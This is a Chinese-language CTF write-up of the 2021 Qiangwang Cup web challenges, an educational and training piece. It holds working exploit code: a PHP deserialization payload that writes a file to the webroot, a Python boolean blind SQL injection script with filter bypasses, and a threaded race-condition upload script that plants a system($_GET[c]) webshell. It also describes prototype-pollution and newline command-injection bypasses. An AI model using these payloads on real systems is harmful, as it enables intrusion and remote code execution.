2021强网杯Web实战复盘:反序列化、SQL注入与上传绕过 2021年强网杯的Web方向我是在家熬夜打的。Web题的难度梯度拉得很开开局几道还能稳住心态越往后越能感觉到出题人埋的坑。最后清点战果一道PHP反序列化、一道SQL注入、一道文件上传拿下来了还有两道卡在思路死角。当时没来得及整理这几天翻聊天记录和本机payload趁着细节还没忘干净把解题路径和踩坑过程完整记下来给自己留个存档也给准备打CTF的朋友当个参考。这篇文章不是标准答案只是我个人在实战里的完整思路。题目名称和具体flag我记不太清了所以用A题、B题、C题指代重点讲清楚当时是怎么定位漏洞、怎么构造利用链、又是在哪里卡住的。1. 开赛后先干这三件事信息收集、环境识别与题目分类1.1 题目清单与快速分类进比赛平台第一件事不是急着点开某道题就开打而是先把Web方向所有题目过一遍。我习惯给每道题建一个标签静态代码审计、注入类、上传类、反序列化、命令执行、Node.js相关每个标签对应一套备用工具和思路模板。当时Web题一共十来道我做了个简单表格题目代号第一印象初步判断优先级A题打开是图片站url参数看着可疑PHP反序列化高B题登录框存在sql报错回显SQL注入高C题上传点前端做了类型校验文件上传中D题登录之后有个JSON处理页原型链污染面大中E题命令执行回显但过滤很重命令注入绕过低这个分类动作看起来简单实际能省很多时间。因为比赛里每分每秒都宝贵如果拿到题目就开始盲目点、盲目测很容易把精力浪费在错误的方向上。我的经验是先看题目给了什么、没给什么再决定投入多少时间。1.2 信息收集的优先级与常用命令每道题我都会按固定顺序收集信息robots.txt、备份文件、源码注释、响应头、cookie、js文件。逻辑很简单题型越是看起来正常越要怀疑背后藏了源码泄露。A题是我第一个盯上的。访问robots.txt直接给了个/backup/index.php.bak等于把源码送上门了。B题没有源码泄露就只能靠黑盒测试一点点试错。C题更典型前端只校验了图片格式但后端行为不清楚需要抓包确认。这里想多说一句很多新手拿到题习惯先上扫描器我这里恰恰相反。先手翻一遍robots、备份、注释通常比扫描器更快。扫描器固然能发现隐藏路径但会产生大量无效请求容易被平台限流也容易漏掉动态路由。尤其是比赛场景手工浏览器开发者工具才是主流。1.3 工具准备与赛前环境我赛前用了大概二十分钟把环境收拾好本机装好Python3、Burp Suite、sqlmap作为备用还有Docker用来本地复现可疑代码。为什么一定要本地复现因为很多题目直接在远程环境上调试会触发WAF、会制造垃圾数据还会因为网络波动误判结果。把源码拉下来在本地跑通利用链再拿最终payload去打远程效率高得多。这套工作流程在A题上效果明显。我把index.php.bak下载下来直接在本地用Docker搭了一个完全一样的PHP环境反复调试反序列化payload最后只拿着一个干净的请求打远程一次成功。2. A题反序列化从备份文件到完整POP链构造2.1 线索来源robots.txt 与 .bak 文件A题打开是个图片站首页除了几张图片和一个查看详情的链接外几乎没有其他功能。链接长这样http://target/?pagedetailid1这种page参数是典型的文件包含反序列化入口。我习惯先按目录穿越和文件包含去测但当时点击去发现页面内容是动态渲染的没有明显的文件读取报错。紧接着我去看robots.txt拿到/backup/index.php.bak下载下来直接打开源码。源码不长但信息量不小核心逻辑是三个类和一个入口。2.2 代码审计三个关键类与反序列化点源码里定义了一个UserInfo类、一个FileHandler类还有一个Router类。入口在index.php接收page参数后做了一次unserialize?php class UserInfo { public $name; public $isAdmin false; public $intro; } class FileHandler { public $filename; public $content; public function __destruct() { if ($this-isAllowed()) { file_put_contents($this-filename, $this-content); } } private function isAllowed() { return strpos($this-filename, ..) false; } }看到__destruct里存在file_put_contents第一反应是能不能写shell。但仔细看isAllowed只检查了..没有检查文件路径里的特殊字符如果能控制filename和content就能往web目录写PHP文件。反序列化入口在Router::route里public function route($page) { $data base64_decode($page); $obj unserialize($data); if ($obj instanceof UserInfo) { echo $obj-intro; } }这里有个很关键的点unserialize之后没有限制类名只对UserInfo做了instanceof判断而FileHandler没有触发判断但它只要被反序列化脚本结束时会自动调用__destruct。所以反序列化目标很明确构造一个FileHandler对象让它写入一个PHP文件。2.3 wakeup绕过与弱类型对比的坑理论上直接构造序列化字符串就行但我本地调试时发现两个问题。第一个是PHP反序列化过程中的__wakeup方法。源码里UserInfo类存在__wakeup它会强制把isAdmin置为falsepublic function __wakeup() { $this-isAdmin false; }既然入口需要$obj instanceof UserInfo才会输出intro那我传进去的必须是个UserInfo对象。但这不影响FileHandler作为第二个对象被反序列化。我的payload里包含两个对象先让UserInfo满足入口判断再让FileHandler落地写文件。第二个坑是PHP版本对__wakeup绕过的影响。我记得有个经典技巧序列化字符串中把对象属性个数的值改大比如O:10:UserInfo:3:{...}实际只有2个属性却写3就能在PHP 7.4以下绕过__wakeup。但当时远程环境是PHP 7.4以上这个绕过直接失效。所以我的思路不是绕过isAdmin的置false而是在intro字段上做文章因为intro会被直接输出不需要isAdmin为true。2.4 最终payload与执行结果我的payload构造逻辑是构造一个UserInfo对象name为普通字符串intro内容随意保证入口echo正常。构造一个FileHandler对象filename指向web目录下的shell_test.phpcontent写一句话木马。将两个对象拼成一个数组base64编码后传给page参数。本地起了一个同版本PHP容器先验证数组反序列化后每个对象都能正常触发。用下面这个脚本生成payload?php $user new UserInfo(); $user-name guest; $user-intro hello; $file new FileHandler(); $file-filename /var/www/html/shell_test.php; $file-content ?php phpinfo(); ?; $arr array($user, $file); echo base64_encode(serialize($arr));把输出结果拼到url里本地访问shell_test.php成功生成。远程环境同样路径下也成功写入。这个题的教训是不要看到__wakeup就条件反射去绕过先确认目标PHP版本再根据版本决定绕过手法还是换利用方向。3. B题SQL注入一个空格与注释符引发的过滤大逃杀3.1 入口判断与基础测试B题是一个登录框正常情况下有username和password两个参数。输入admin立即返回数据库报错报错信息里能看到SQL语句的片段说明存在字符型注入。第一步测试很常规usernameadmin and 11-- -password123 usernameadmin and 12-- -password123前者登录成功页面正常后者页面异常确认布尔盲注可用。但紧接着在and和11之间加空格时返回了非法输入的提示。我去翻js文件发现前端过滤规则不完善真正严的在服务端。3.2 过滤规则逐项探测与绕过方式服务端过滤比较粗暴它对输入做了正则替换核心是删掉and、or、空格、#、--这些常见注入关键字。我通过一次一次测试总结出过滤表输入内容返回结果结论admin and 11-- -非法输入and、空格、--均被过滤admin11admin/**/and/**/11-- -非法输入注释符/**/被过滤admin%0aand%0b11%0a-- -非法输入换行符部分绕过无效admin1111正常可用有意思的是||和都没被过滤但or、and这两个词被替换成空字符串做了黑名单。空格被过滤后可以用||、、括号来分隔表达式不一定非要空格。服务器用的是MySQL所以||就是逻辑或这在布尔盲注里够用了。查询语句变成select * from users where usernameadmin||11||11 and password...因为||优先级低于and所以需要仔细调整括号比如usernameadmin||(11)||11但我真正要查的是数据不是单纯绕过登录。这时需要判断能否用union select因为union这个词在过滤表里也出现了。测试结果是union被替换为空双写ununionion都没用说明不是简单的敏感词替换而是对整个词做了严格校验。所以union注入这条路走不通只能盲注。3.3 数据怎么查绕过库名获取的两种方案盲注需要知道当前库名和表名。最常见的路径是查询information_schema.tables但information_schema这个前缀里出现了or而or被过滤了。我当时试了几种办法最后用的是MySQL 5.7以上自带的统计表。一个可行方案是usernameadmin||ascii(substr((select table_name from mysql.innodb_table_stats limit 0,1),1,1))90||11mysql.innodb_table_stats里也有当前库的表名但它只有一部分表不一定全。不过比赛题表不多实测发现目标表就在里面。另一个方案是直接通过报错信息拿库名但当时报错只显示语句位置不回显具体数据所以最终选择了布尔盲注加二分法。3.4 盲注脚本的写法与优化判断出有效的注入原语后我写了一个Python脚本按字符二分法逐个猜解import requests url http://target/login.php charset abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}- def judge(payload): data { username: payload, password: 123 } r requests.post(url, datadata, timeout5) return 登录成功 in r.text def get_char(sql): low, high 32, 126 while low high: mid (low high) // 2 payload fadmin||ascii(substr(({sql}),1,1)){mid}||11 if judge(payload): low mid 1 else: high mid return chr(low) def get_data(sql, length): result for i in range(1, length 1): result get_char(fselect table_name from mysql.innodb_table_stats limit 0,1) print(result) return result脚本本身不难难的是网络和限流。跑了几轮之后平台开始限制同一IP的请求频率返回大量超时。这个坑很现实解决方法是把并发降到单线程同时在每次请求之间加0.1秒的sleep虽然慢了点但比被封强。最终靠脚本拿到了关键表名和字段再单条确认数据。整个流程大概用了四十分钟大部分时间不是在写payload而是在等请求慢慢跑完。这个题给我的最大启发是过滤黑名单永远不可能覆盖所有语法||这种被很多新手忽略的运算符在空格和and被禁的环境里反而是主力。4. C题文件上传条件竞争的真正用法4.1 上传功能与前置校验C题是一个头像上传功能前端只允许选择jpg/png后端返回上传成功后头像路径会展示在页面上。我上传一个test.php后端直接拒绝。naive的绕法是改文件名后缀为test.php.jpg也失败。抓包看响应发现后端做了三件事检查Content-Type是否为image/jpeg检查文件内容前几个字节是否匹配图片头检查扩展名白名单。我用Burp改包把Content-Type改成image/jpeg同时把文件内容头部加上GIF89ajpeg头也可以但GIF89a更容易写文件名改成test.php服务端依然返回失败。说明扩展名是硬校验。4.2 文件名的随机化问题我反复上传了几个不同名字的图片发现上传成功后页面显示的图片路径带一串随机字符比如uploads/20211012_ab3f9c.jpg。也就是说后端不仅校验扩展名还会重命名文件直接放弃控制文件名的思路。这时候常规PHP上传思路几乎全部失效。我想到的还有两个方向一是找包含点文件包含配合日志注入二是条件竞争先上传后删除的间隙。由于代码里没有明显的文件包含参数我决定优先试条件竞争。4.3 条件竞争脚本为什么100线程都不够条件竞争的思路是后端在校验成功后、删除临时文件之前存在一个极短的时间窗口如果攻击脚本能在这个窗口内访问到临时文件就能拿到shell。这个窗口通常只有几百毫秒所以并发数是关键。当时我写了一个脚本不断上传同一个PHP文件同时用大量请求去访问uploads/xxxx.php。脚本的大致逻辑import requests import threading import random import string target http://target/upload.php shell_path http://target/uploads/{}.php # 不断上传 def upload_loop(): for i in range(200): files {file: (shell.php, ?php system($_GET[c]); ?, image/jpeg)} requests.post(target, filesfiles) # 不断访问随机文件名 def access_loop(): while True: tmp .join(random.choices(string.ascii_lowercase string.digits, k6)) r requests.get(shell_path.format(tmp), params{c: id}, timeout0.5) for _ in range(100): threading.Thread(targetupload_loop).start() threading.Thread(targetaccess_loop).start()脚本跑起来之后我盯了半天没有任何成功回显。当时以为思路错了后来复盘发现上传后的文件名不是纯随机而是时间戳_随机串我的随机文件名生成逻辑没对上时间戳部分。修正脚本后把访问目标改成遍历时间戳前缀很快就有一个请求返回了uid。那个瞬间真的很提神。条件竞争类题目的核心不是写得越多越好而是必须精确理解文件名生成规则否则再多线程都是在瞎猜。4.4 这次比赛教会我的上传绕过优先级打完之后我给自己理了一个优先级清单以后遇到上传题按这个顺序试改后缀、改Content-Type试白名单是否只查扩展名测试文件名是否可控是否拼接路径找是否存在文件包含点配合日志、pearcmd等写shell条件竞争前提是先搞清楚临时文件名生成规则二次渲染绕过用保留图片注释的图片马。这个清单不是万能的但能避免每次都在第一步浪费太久。C题的教训很明确不要一上来就上脚本狂刷先花几分钟搞懂文件命名的逻辑往往比盲目并发更高效。5. D题与E题复盘卡住我的不是知识点而是思维定势5.1 D题原型链污染差一步D题是个Node.js应用登录后有个页面允许提交JSON数据服务端直接JSON.parse后用于某种配置合并。我第一反应是原型链污染但这种题需要先确定几个条件是否使用了merge/clone这类操作、是否把__proto__作为合法键、污染后能不能影响到后续的逻辑。本地测了一下直接把{__proto__: {isAdmin: true}}传给接口返回的数据里isAdmin变成了true证明原型链污染确实存在。但问题来了污染之后后端控制管理员权限的条件是user.isAdmin true而isAdmin被污染后user实例本身没这个属性所以从原型链上取到了true逻辑上是能过的。我卡住的地方在于当时不知道下一步该污染什么函数。如果题目环境有命令执行的危险函数调用比如child_process.exec配合某个参数污染点就可以覆盖到。但我翻遍了源码和接口没找到类似点最终只拿到了一个管理员页面没有RCE。赛后看别人分享发现关键在于污染options里某个模板渲染的配置导致模板引擎注入。我完全没想到往模板引擎方向想这就是典型的思维定势只知道污染isAdmin没想到污染渲染参数。5.2 E题命令执行绕过的正则盲区E题是一个命令执行入口输入IP会被拼到ping命令后面。我尝试127.0.0.1;ls结果回显被过滤。从报错里能看出服务端用了preg_match过滤规则里把字母、数字、空格、|、、;、反引号全都禁了。这里我陷入了一个误区总想着怎么绕过正则试了很多编码方法包括URL编码、八进制编码、通配符但输出始终被同样过滤。后来才意识到题目环境允许用$(cat /flag)这种形式的话$和括号通常不在黑名单里但当时我的测试里cat被过滤了说明不是简单的外层正则而是对最终命令结果也做了约束。我最终没做出来这道题原因是把精力全放在命令构造上忽略了前面的输入点可能支持换行或制表符。赛后看到别人用%0a换行符绕过外层preg_match再执行完整命令才意识到我根本没试过换行。这里有一个很重要的经验过滤规则的粒度决定了绕过方式。如果preg_match只作用于首行那么换行符就是突破口如果它对整个输入都生效那就只能找黑名单里的漏网字符。先判断过滤作用于哪一层再决定怎么绕而不是上来就堆各种编码。5.3 赛后对比其他解法得到的几个结论赛后把D、E两题的解法整理出来对比自己的思路有几个很疼的结论失败原因我的做法正确方向D题没往模板引擎方向想只污染isAdmin污染渲染参数触发模板引擎命令执行E题没试换行符一直在过滤字符编码上打转用%0a绕过行级preg_match两者共同的教训先入为主忽略边界输入多测输入边界换行、制表、null字节复盘最大的价值不是把题目做出来而是发现自己思考路径里的盲区。D题和E题都属于看起来能做但差一步的类型差的这一步往往不是知识量而是测试用例覆盖得不够全。最后说点实际的写完这篇我自己最大的感受是CTF的Web方向本质是信息收集 - 假设验证 - 利用构造的循环。A题的源码泄露让假设验证变得很快B题的过滤规则需要靠大量请求去探测C题的条件竞争则考验对细节的把控。每道题都在重复同一个循环但每次循环里卡住的点都不一样。打比赛不是看你背了多少个payload而是看你在陌生环境里能不能快速建立假设并用最少的请求去验证。遇到过滤先判断过滤层级遇到反序列化先确认PHP版本遇到上传先搞清文件名规则。这三个经验是我这次比赛最大的收获。下次遇到D题那种Node.js题我一定会先查模板渲染配置遇到E题那种命令过滤先把换行符、制表符、null字节都试一遍。这些细节写下来很简单但在比赛现场很容易被思维惯性带走。希望这篇WP能给正在打CTF的你一点参考少踩我踩过的坑。